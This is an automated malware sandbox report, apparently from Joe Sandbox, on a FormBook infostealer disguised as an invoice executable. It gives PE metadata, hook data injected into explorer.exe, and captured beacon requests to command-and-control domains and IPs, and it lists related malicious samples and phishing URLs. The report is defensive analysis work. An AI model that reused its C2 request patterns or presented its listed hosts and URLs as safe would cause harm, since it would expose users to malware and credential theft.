Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@5/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 37.7% (good quality ratio 34.6%) Quality average: 73.5% Quality standard deviation: 30.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 82 Number of non-executed functions: 158
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 13.64.90.137, 168.61.161.212, 51.104.144.132, 8.241.122.126, 67.26.139.254, 8.248.113.254, 8.253.95.249, 67.27.234.126, 51.103.5.186, 52.155.217.156, 20.54.26.129, 52.142.114.176, 92.122.213.247, 92.122.213.194, 23.210.248.85 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, wns.notify.windows.com.akadns.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, g-msn-com-nsatc.trafficmanager.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, par02p.wns.notify.windows.com.akadns.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, client.wns.windows.com, fs.microsoft.com, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net

Simulations

Behavior and APIs

Time	Type	Description
08:28:25	API Interceptor	1x Sleep call for process: PT300975-inv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
198.54.117.244	test.js	Get hash	malicious	Browse	101legit.com/0.html
	dsexplrob.exe	Get hash	malicious	Browse	i3mode.com/dbExpressversion/db87987Administrator.php?b=FKfEZOAdYedIVNeAlGKbCgFzoODmhh
	nbmvwchp.js	Get hash	malicious	Browse	101legit.com/0.html

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
XIAOZHIYUN1-AS-APICIDCNETWORKUS	anthon.exe	Get hash	malicious	Browse	156.241.53.168
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	156.241.53.195
	Inv.exe	Get hash	malicious	Browse	156.241.53.9
	Shipping Documents (INV,PL,BL)_pdf.exe	Get hash	malicious	Browse	156.224.66.93
	Purchase Order 40,7045$.exe	Get hash	malicious	Browse	45.207.121.138
	Invoice.exe	Get hash	malicious	Browse	156.241.53.234
	hjKM0s7CWW.exe	Get hash	malicious	Browse	45.207.121.138
	n4uladudJS.exe	Get hash	malicious	Browse	45.207.121.138
	T66DUJYHQE.exe	Get hash	malicious	Browse	45.207.121.138
	#U5341#U4e00#U6708#U4efd#U516c#U53f8#U503c#U73ed#U4eba#U5458#U8c03#U73ed#U901a#U77e5.exe	Get hash	malicious	Browse	156.253.88.154
	9qB3tPamJa.exe	Get hash	malicious	Browse	156.253.114.216
	zYUJ3b5gQF.exe	Get hash	malicious	Browse	45.207.121.138
	Purchase Order 40,7045$.exe	Get hash	malicious	Browse	45.207.121.138
	RNM56670112.exe	Get hash	malicious	Browse	156.225.160.251
	PpCVLJxsOp.exe	Get hash	malicious	Browse	154.210.136.219
	PO PL.exe	Get hash	malicious	Browse	156.254.247.54
	1-RFQ-IOCL-PP-IN-301 BID INSTRUCTIONSCOMMERCIAL TERMS AND CONDITIONS-2020-10-14..exe	Get hash	malicious	Browse	156.254.221.125
	3BJGa7Xw4ugPpll.exe	Get hash	malicious	Browse	23.248.240.227
	y20dxdW3GQ.exe	Get hash	malicious	Browse	23.235.182.106
	J3ae2JBEng.exe	Get hash	malicious	Browse	45.207.118.132
NAMECHEAP-NETUS	PR24869408-V2.PDF.exe	Get hash	malicious	Browse	198.54.122.60
	https://dhumketubd.com/DifferenceCard/login.php	Get hash	malicious	Browse	198.54.117.200
	vnaSKDMnLG.dll	Get hash	malicious	Browse	63.250.47.200
	ATT59829.htm	Get hash	malicious	Browse	198.54.115.249
	PO EME39134.xlsx	Get hash	malicious	Browse	63.250.38.18
	https://www.ebhadhara.com/ova/office365/YWp1bm5hcmthckBrcm9sbGJvbmRyYXRpbmdzLmNvbQ0%3D	Get hash	malicious	Browse	199.192.28.206
	FxzOwcXb7x.exe	Get hash	malicious	Browse	198.54.122.60
	7OKYiP6gHy.exe	Get hash	malicious	Browse	198.54.117.217
	ptFIhqUe89.exe	Get hash	malicious	Browse	63.250.38.18
	Yarranton.co.uk.htm	Get hash	malicious	Browse	199.188.200.218
	PO#010-240.exe	Get hash	malicious	Browse	162.213.255.53
	PO_010-240.exe	Get hash	malicious	Browse	162.213.255.53
	EME.39134.xlsx	Get hash	malicious	Browse	63.250.38.18
	http://omivjsyyqzyxfria.riantscapital.com/kampo/anNhY2tldHRAYWR2ZW50aXN0aGVhbHRoY2FyZS5jb20=	Get hash	malicious	Browse	198.54.120.245
	https://1drv.ms/u/s!Ap6-6LFn1rzXgTxzc-81jQs8opJO?e=EhEGR5	Get hash	malicious	Browse	198.54.120.226
	n830467925857.xlsm	Get hash	malicious	Browse	199.192.21.36
	new quotation order.exe	Get hash	malicious	Browse	198.54.117.216
	NEW ORDER.exe	Get hash	malicious	Browse	198.54.122.60
	n830467925857.xlsm	Get hash	malicious	Browse	199.192.21.36
	ATT96626.htm	Get hash	malicious	Browse	198.54.115.249

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PT300975-inv.exe.log Download File
Process:	C:\Users\user\Desktop\PT300975-inv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	5.344107669812469
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIW7HKjovjHKx1qHLHKs:iqXeqm00YqhQnouRqjorqxwrqs
MD5:	BF1A4BABF3E94AA2F0BED4C55E050B13
SHA1:	433EA392F97D828DCA9CC9C080B99D40063CDF50
SHA-256:	B74F8FCBDD8A649F2073373BD471F685A14629E7C2DE97C445F60414CBF61B9E
SHA-512:	C6D0F73205F524F3DDC9A7211BA07E28A02334AD462DAD893FFF90D5AA9723C09185B6ACF78CEF1C1300CD492FA3AF9C2FCADA18934D73C0CA87B18CC42D0976
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.285704309931807
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PT300975-inv.exe
File size:	559616
MD5:	025544a9014cf1667e8a1d4ff68da253
SHA1:	0123853e7960cdae4f3ad95945b4ec86adbb93c6
SHA256:	2858bfcb9388b05049df45459ee60bf96be0b0d75a3be34cf3c00f57ec9f4469
SHA512:	a22db404c3a154339b3cd6d4a4227f319f6cb99d103346856ffd6fd249fe08bace4f528f185edc25c0672ae03b2e14c87b31b0b2d0728372c5893821b5a43068
SSDEEP:	6144:3cMR5P4uE1KMtqm/0XWJYoukAlD0o2c3zZOaoRzkZRjdnLor7/7Sr9sTFaOxSxyy:3n5PqttqmMGJYvlxzgaoG3dnG7SeG2+
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ;.F.................~............... ........@.. ....................................`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x489c9e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x46D33B20 [Mon Aug 27 20:59:12 2007 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x89c44	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8a000	0x622	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x87ca4	0x87e00	False	0.583592671918	data	6.29806430778	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x8a000	0x622	0x800	False	0.353515625	data	3.65274067017	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x8a0a0	0x398	data
RT_MANIFEST	0x8a438	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2010 F7G5?9JAF>2=>JA7AIB2F
Assembly Version	1.0.0.0
InternalName	use5.exe
FileVersion	7.10.14.17
CompanyName	F7G5?9JAF>2=>JA7AIB2F
Comments	:6;C>4;FA4F5DH9D@88B;3
ProductName	5G5C9985D<<?=>@B5@
ProductVersion	7.10.14.17
FileDescription	5G5C9985D<<?=>@B5@
OriginalFilename	use5.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2020 08:29:26.744565964 CET	49750	80	192.168.2.6	198.54.117.244
Nov 26, 2020 08:29:26.911395073 CET	80	49750	198.54.117.244	192.168.2.6
Nov 26, 2020 08:29:26.911807060 CET	49750	80	192.168.2.6	198.54.117.244
Nov 26, 2020 08:29:26.911973953 CET	49750	80	192.168.2.6	198.54.117.244
Nov 26, 2020 08:29:27.078738928 CET	80	49750	198.54.117.244	192.168.2.6
Nov 26, 2020 08:29:27.078759909 CET	80	49750	198.54.117.244	192.168.2.6
Nov 26, 2020 08:30:08.408441067 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:08.610635996 CET	80	49755	156.241.53.196	192.168.2.6
Nov 26, 2020 08:30:08.610830069 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:08.610979080 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:08.813050032 CET	80	49755	156.241.53.196	192.168.2.6
Nov 26, 2020 08:30:09.102338076 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:09.292335033 CET	80	49755	156.241.53.196	192.168.2.6
Nov 26, 2020 08:30:09.292357922 CET	80	49755	156.241.53.196	192.168.2.6
Nov 26, 2020 08:30:09.292530060 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:09.292561054 CET	49755	80	192.168.2.6	156.241.53.196
Nov 26, 2020 08:30:09.304438114 CET	80	49755	156.241.53.196	192.168.2.6
Nov 26, 2020 08:30:09.304570913 CET	49755	80	192.168.2.6	156.241.53.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2020 08:28:19.663137913 CET	56023	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:19.690159082 CET	53	56023	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:20.626461029 CET	58384	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:20.653572083 CET	53	58384	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:21.668230057 CET	60261	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:21.695391893 CET	53	60261	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:22.580018997 CET	56061	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:22.607135057 CET	53	56061	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:23.502145052 CET	58336	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:23.529290915 CET	53	58336	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:25.972165108 CET	53781	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:25.999289989 CET	53	53781	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:27.134497881 CET	54064	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:27.161614895 CET	53	54064	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:28.241576910 CET	52811	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:28.268699884 CET	53	52811	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:29.477148056 CET	55299	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:29.504374981 CET	53	55299	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:31.500103951 CET	63745	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:31.527142048 CET	53	63745	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:34.086605072 CET	50055	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:34.113698959 CET	53	50055	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:37.824050903 CET	61374	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:37.851146936 CET	53	61374	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:38.843249083 CET	50339	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:38.870150089 CET	53	50339	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:40.249627113 CET	63307	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:40.276679039 CET	53	63307	8.8.8.8	192.168.2.6
Nov 26, 2020 08:28:49.056457043 CET	49694	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:28:49.083647013 CET	53	49694	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:05.741004944 CET	54982	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:05.768177986 CET	53	54982	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:07.180556059 CET	50010	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:07.217647076 CET	53	50010	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:11.676465988 CET	63718	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:11.726603985 CET	53	63718	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:12.470824003 CET	62116	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:12.506289005 CET	53	62116	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:12.947566032 CET	63816	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:12.995899916 CET	53	63816	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:13.324655056 CET	55014	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:13.376000881 CET	53	55014	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:13.761892080 CET	62208	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:13.797600031 CET	53	62208	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:14.079472065 CET	57574	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:14.130125999 CET	53	57574	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:14.193630934 CET	51818	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:14.231434107 CET	53	51818	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:14.714554071 CET	56628	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:14.751116037 CET	53	56628	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:15.363802910 CET	60778	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:15.399085045 CET	53	60778	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:16.189421892 CET	53799	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:16.224932909 CET	53	53799	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:16.457114935 CET	54683	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:16.500622034 CET	53	54683	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:16.675836086 CET	59329	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:16.711163044 CET	53	59329	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:21.984956980 CET	64021	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:22.021745920 CET	53	64021	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:26.549397945 CET	56129	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:26.737931013 CET	53	56129	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:47.298248053 CET	58177	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:47.642015934 CET	53	58177	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:48.052105904 CET	50700	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:48.095624924 CET	53	50700	8.8.8.8	192.168.2.6
Nov 26, 2020 08:29:51.215604067 CET	54069	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:29:51.255037069 CET	53	54069	8.8.8.8	192.168.2.6
Nov 26, 2020 08:30:08.060817003 CET	61178	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:30:08.402991056 CET	57017	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:30:08.407228947 CET	53	61178	8.8.8.8	192.168.2.6
Nov 26, 2020 08:30:08.430083990 CET	53	57017	8.8.8.8	192.168.2.6
Nov 26, 2020 08:30:29.262655973 CET	56327	53	192.168.2.6	8.8.8.8
Nov 26, 2020 08:30:29.332756996 CET	53	56327	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 26, 2020 08:29:16.457114935 CET	192.168.2.6	8.8.8.8	0xe265	Standard query (0)	g.msn.com	A (IP address)	IN (0x0001)
Nov 26, 2020 08:29:26.549397945 CET	192.168.2.6	8.8.8.8	0x9f9c	Standard query (0)	www.solidconstruct.site	A (IP address)	IN (0x0001)
Nov 26, 2020 08:29:47.298248053 CET	192.168.2.6	8.8.8.8	0xcf3f	Standard query (0)	www.hongreng.xyz	A (IP address)	IN (0x0001)
Nov 26, 2020 08:30:08.060817003 CET	192.168.2.6	8.8.8.8	0x869a	Standard query (0)	www.asacal.com	A (IP address)	IN (0x0001)
Nov 26, 2020 08:30:29.262655973 CET	192.168.2.6	8.8.8.8	0x7da1	Standard query (0)	www.kornteengoods.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 26, 2020 08:29:16.500622034 CET	8.8.8.8	192.168.2.6	0xe265	No error (0)	g.msn.com	g-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Nov 26, 2020 08:29:26.737931013 CET	8.8.8.8	192.168.2.6	0x9f9c	No error (0)	www.solidconstruct.site		198.54.117.244	A (IP address)	IN (0x0001)
Nov 26, 2020 08:29:47.642015934 CET	8.8.8.8	192.168.2.6	0xcf3f	Name error (3)	www.hongreng.xyz	none	none	A (IP address)	IN (0x0001)
Nov 26, 2020 08:30:08.407228947 CET	8.8.8.8	192.168.2.6	0x869a	No error (0)	www.asacal.com		156.241.53.196	A (IP address)	IN (0x0001)
Nov 26, 2020 08:30:29.332756996 CET	8.8.8.8	192.168.2.6	0x7da1	Name error (3)	www.kornteengoods.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.solidconstruct.site

www.asacal.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49750	198.54.117.244	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 26, 2020 08:29:26.911973953 CET	5347	OUT	GET /jqc/?JfEtEZgp=AQxPeURRQ9kC4DgOk8VME5njQ8dFSmWtzYEqQ7tz67PuOtzOYn8gv4wq3HEWg5IvV5fpD9rFbA==&ojq0s=RzulsD HTTP/1.1 Host: www.solidconstruct.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49755	156.241.53.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 26, 2020 08:30:08.610979080 CET	6108	OUT	GET /jqc/?JfEtEZgp=cE9UUOc3pLPT0LAdHSIP3evlMF3IBhbdmq5wG0CQLEBsctkiCkQzhS7S4EgmhhRecsIvRlsotA==&ojq0s=RzulsD HTTP/1.1 Host: www.asacal.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2020 08:30:09.292335033 CET	6118	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 26 Nov 2020 07:30:08 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=u9i0r05tpvbtv5qber0ofb8qs2; path=/ Set-Cookie: PHPSESSID=ft1su6f9qnak6jout2tis60pq6; path=/ Upgrade: h2 Connection: Upgrade, close Location: / Content-Length: 0 Content-Type: text/html; charset=gbk

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xEE
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xEE
GetMessageW	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xEE
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xEE

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PT300975-inv.exe PID: 7124 Parent PID: 5852

General

Start time:	08:28:24
Start date:	26/11/2020
Path:	C:\Users\user\Desktop\PT300975-inv.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PT300975-inv.exe'
Imagebase:	0xc50000
File size:	559616 bytes
MD5 hash:	025544A9014CF1667E8A1D4FF68DA253
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: mscorsvw.exe PID: 5844 Parent PID: 7124

General

Start time:	08:28:25
Start date:	26/11/2020
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
Wow64 process (32bit):	true
